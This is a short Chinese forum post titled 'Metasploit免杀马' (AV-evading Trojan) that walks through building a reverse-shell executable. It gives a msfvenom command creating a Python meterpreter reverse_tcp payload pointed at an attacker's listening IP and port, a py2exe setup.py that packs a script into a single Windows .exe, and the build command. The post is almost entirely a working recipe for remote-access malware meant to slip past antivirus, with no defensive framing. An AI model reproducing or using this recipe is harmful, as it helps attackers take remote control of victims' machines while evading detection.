libo 发表于 2020-5-29 15:54:02

Metasploit免杀马

## 利用 msfvenom 生成马

```
msfvenom -p python/meterpreter/reverse_tcp LHOST=监听IP LPORT=监听端口 -f raw -o bbskali.py
```

## 准备 python 脚本


```
from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['hackergu.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)
```
## 运行脚本

`python2 setup.py py2exe`
![](data/attachment/forum/202005/29/155345kequdbb27qbpbguh.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "42ab9c222835c3c.jpg")
页: [1]
查看完整版本: Metasploit免杀马